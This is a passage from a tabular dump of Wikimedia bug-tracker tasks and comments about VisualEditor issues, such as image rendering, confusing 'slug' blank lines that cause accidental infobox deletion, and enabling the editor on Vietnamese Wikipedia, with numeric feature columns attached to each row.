+**Attached**: {F10382}",Medium,50.0,1367185320,1369093729.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-fsl2ocvagc2ct7mjj527,task_description,resolved,True,c1,1,False,False,True,-10,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+210418,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","This was fixed by gerrit 64367 which is now merged, but is 'experimental' and so will not go out for a short while. Marking as fixed within wmf5, though.",,,1369093729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsl2ocvagc2ct7mjj527,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0
+210413,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","For now we are going to fix it in VE directly. Parsoid will deliver us figure tags for block images and span tags for inline images, but VE is going to render div soup for block and image wrapped in an anchor for inline (maybe with few exceptions).",,,1368216297,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-fsl2ocvagc2ct7mjj527,task_subcomment,,True,c1,1,False,,,-8,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+210406,"VisualEditor: For images, ensure that the HTML structure rendered in VE is the same as output by PHP parser so that styles/scripts work as expected and images look normal","Hijacking this bug slightly. :-)
+
+(This will probably be solved with an upstream bug with Parsoid for a post-parser to transform, but could be done in VE instead. Either way are messy; long term answer is for Parsoid-output to be the ""read"" HTML too, and have skins and scripts target that structure.)",,,1367544520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fsl2ocvagc2ct7mjj527,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0
+49790,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Simple test case, see URL:
+
+* foo
+: bar
+
+adds a newline in edit mode. When removing this newline in edit mode the : is killed by the parser.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Benutzer:Raymond/Finissage
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=60535",Medium,50.0,1367166420,1394077374.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-v7tsixpel4mikkpah73h,task_description,resolved,True,c1,1,False,False,False,-10,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+209592,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","On nl.wp a discussion has started to turn on VE. In the process feedback has been collected on VE. Some users commented on ""white lines"" as a blocking issue for turning VE on as default. 
+On top of pages like:
+* https://nl.wikipedia.org/wiki/Bali_%28eiland%29?veaction=edit
+* https://nl.wikipedia.org/wiki/Justine_Henin?veaction=edit
+* https://nl.wikipedia.org/wiki/Rijn?veaction=edit
+* https://nl.wikipedia.org/wiki/Brussels_Hoofdstedelijk_Gewest?veaction=edit
+* https://nl.wikipedia.org/wiki/Antwerpen_%28stad%29?veaction=edit
+as well as on other places on the page ""white lines"" or carriage returns appear in VE edit mode which do not appear in read mode. On mouse over the white line turns blue. 
+
+Some users fear that newcomers others will delete those white lines and carriage returns. However, after deletion of those lines images are accidently deleted from the page.
+
+This discussion started on bug 49806. James Forrester pointed me to this bug to continue the discussion.
+
+(Deleting white space at the bottom of a page might also delete accidently categories and other metadata.)
+
+How can I help to resolve this 'bug'? I will also copy to bug 55336.",,,1405114275,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,53,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+209588,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Initial version of this now merged and being deployed tomorrow. I think we'll want to revisit the styling and behaviour, but this will do for now.",,,1394077374,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,35,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+209584,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 116742 abandoned by Esanders:
+Vector style tweaks for collapsible slugs
+
+https://gerrit.wikimedia.org/r/116742",,,1394042895,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+209580,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 109307 merged by jenkins-bot:
+Collapse block slugs and expand on hover/focus
+
+https://gerrit.wikimedia.org/r/109307",,,1394040062,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+209574,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 116742 had a related patch set uploaded by Esanders:
+Vector style tweaks for collapsible slugs
+
+https://gerrit.wikimedia.org/r/116742",,,1393942167,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,35,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+209565,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Change 109307 had a related patch set uploaded by Esanders:
+Collapse block slugs, and expand on hover/focus
+
+https://gerrit.wikimedia.org/r/109307",,,1390581550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+209560,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Thanks, Ed, for splitting the issue and working on a patch for bug 55336. 
+
+Accordingly, I've set that bug to High/Major and this one to Normal, as the overall UX for slugs is important, but not as significant as the accidental deletion of content with the current implementation. I also suspect that we would want to alter the delete behavior even if we end up altering the slug appearance overall.
+
+I do agree that the accidental whitespace is confusing (it's often the most immediate and obvious difference from read mode) and it would be good to find an alternative. In addition to offering an affordance on hover, we might also expand the slugs as the user moves her cursor through the page.",,,1381008272,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+209555,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","**jonathan_haas** wrote:
+
+(In reply to comment #15)
+> Why don't we just suppress the delete key when pressing it would delete the
+> object the slug is associated with?
+
+This would still leave the user with a superfluous empty line, which might be confusing and/or destroying the page layout.
+
+I like the idea in attachment 12988, but I think it would be better, if slugs would have had an effective default height of 0 (for example height: 4px, margin-top: -2px, margin-bottom:-2px), so the article layout would match the real one.",,,1380964477,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,13,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+209548,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","I think we should split this bug in two: Slugs, and accidental deletion of FocusableNodes. Here is the latter: bug 55336",,,1380963747,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+209544,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","I agree with previous commenters that this is likely to be at the cause of a lot of the accidental infobox deletions and such. I understand it's a tricky issue, but the current behavior is extremely confusing from the user's point of view, so we need to look at some viable solutions. 
+
+Recapping the simple case: User is on what they perceive to be an unnecessary newline, presses delete to make the visual layout match the expected layout. A separate object (in the case of the infobox, right-aligned on the other side of the screen) suddenly disappears. This is very surprising and counter-intuitive behavior.
+
+Why don't we just suppress the delete key when pressing it would delete the object the slug is associated with? In some alternative editors like Google Docs, it is actually not possible to nuke the entire document by just pressing down the delete key at the top of the page -- it will stop before certain objects. I've never had any problems as a result.
+
+That seems like the simplest solution to me and does not require a redesign of the slugs.",,,1380953506,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,13,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,1,0
+209539,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Today JohnCD asked again about this and I got another report from fr.wp, https://fr.wikipedia.org/w/index.php?title=Osmium&diff=96605232&oldid=93301425 .
+Hoping this gets some love soon :)",,,1379004776,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+209535,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",*** Bug 52172 has been marked as a duplicate of this bug. ***,,,1375047891,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+209531,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Created attachment 12988
+Copy of http://i.imgur.com/39QQi8U.png
+
+Please upload attachments to Bugzilla. imgur periodically prunes images; Bugzilla does not. :-)
+
+**Attached**: {F10355}",,,1374960319,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+209527,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","Suggestion:
+http://i.imgur.com/39QQi8U.png",,,1374926957,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+209520,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","**JohnCD67** wrote:
+
+This causes trouble in the fairly common operation of removing a template (e.g. a PROD) from the top of a page which has an infobox. Click the template to select it, press ""Delete"" and it goes, leaving apparently a spare blank line at the top. The natural reaction is press ""Delete"" again to remove the blank line, and that takes out the info box. (Win7, FF22.0)",,,1374396945,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+209514,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","**joedecker** wrote:
+
+I suspect this is behind a few of the reports (on the ENWIKI feedback page, some of them mine) in which unexpected deletions are caused.  
+
+As a separate question, can you undo deletion of slugs?  If not, I think that would explain another set of problems others and I have observed.",,,1374361883,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+209506,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",Gotcha. A user was confused as to why they couldn't add a template to the top of an article without it appearing on the same line :).,,,1373913566,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+209498,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","(In reply to comment #4)
+> Does this include the line of whitespace right at the start of articles?
+
+Yes.",,,1373913377,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1
+209489,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","(In reply to comment #5)
+> It looks like this bug was fixed somehow. I cannot longer reproduce it on
+> dewiki.
+
+Yes, we removed the slugs between lists because we felt they were no longer needed given the new editing tools, but they remain more widely.",,,1373913366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1
+209484,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",It looks like this bug was fixed somehow. I cannot longer reproduce it on dewiki.,,,1373909882,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+209479,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",Does this include the line of whitespace right at the start of articles?,,,1373879923,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+209475,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",*** Bug 50295 has been marked as a duplicate of this bug. ***,,,1373854867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+209470,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines",*** Bug 50797 has been marked as a duplicate of this bug. ***,,,1373046915,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+209465,"VisualEditor: Slugs should be more obvious to the user that they're not ""really"" blank lines","This is deliberate - the line is a ""slug"", allowing the user to insert text between the UL and the DL without creating a bullet and then down-converting it into a paragraph. We've been thinking about putting a little icon in slugs and making them a different height/etc. so it's obvious that they're not really ""there"" and are just places items can go.
+
+Re-purposing this bug to talk about that. :-)",,,1367169998,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v7tsixpel4mikkpah73h,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+49788,VisualEditor: Coordinate template on dewiki not alienated,"Coordinate template on dewiki not alienated. Shown as active hyperlink to the toolserver.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://de.wikipedia.org/wiki/Breslauer_Platz_%28K%C3%B6ln%29",Medium,50.0,1367154120,1374527977.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-lfunc2bgbzuuwhfvjpdv,task_description,declined,True,c1,1,False,False,True,-10,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+209360,VisualEditor: Coordinate template on dewiki not alienated,It looks like this is handled properly now. Reopen if you still experience this problem.,,,1374527977,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-lfunc2bgbzuuwhfvjpdv,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+209355,VisualEditor: Coordinate template on dewiki not alienated,"Interesting! The content (which is not labelled as an alien) is floated out from within a div (which is ve-ce-alienInlineNode). Inez/Christian, ideas?",,,1367173682,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lfunc2bgbzuuwhfvjpdv,task_subcomment,,True,c1,1,True,,,-10,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+49784,Enable VisualEditor on viwiki,"Per community request; will throw in a change on Monday.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1367123340,1367270838.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vdic7routqydx75tmmbb,task_description,resolved,True,c1,1,True,False,True,-10,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+209158,Enable VisualEditor on viwiki,This is now deployed. Marking as fixed.,,,1367270838,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+209154,Enable VisualEditor on viwiki,Change in gerrit 61382.,,,1367247999,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+209149,Enable VisualEditor on viwiki,Request was via e-mail but http://vi.wikipedia.org/wiki/WP:TL#Tr.C3.ACnh_so.E1.BA.A1n_th.E1.BB.8B_gi.C3.A1c is an announcement on the wiki that this is coming for testing.,,,1367247981,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+209144,Enable VisualEditor on viwiki,"Any link to the community request, for the records?",,,1367225301,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-vdic7routqydx75tmmbb,task_subcomment,,True,c1,1,True,,,-9,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+49766,VisualEditor: Toolbar tooltip text throbs when un-floated,"If you scroll down from the top of the page with the edit notice open and then scroll back up, the text content of the notice 'throbs' a little. I think it has to do with the dynamic addition / removal of the 've-ui-toolbar-wrapper-floating' class on ve-ui-toolbar-wrapper.
+
+--------------------------
+**Version**: unspecified
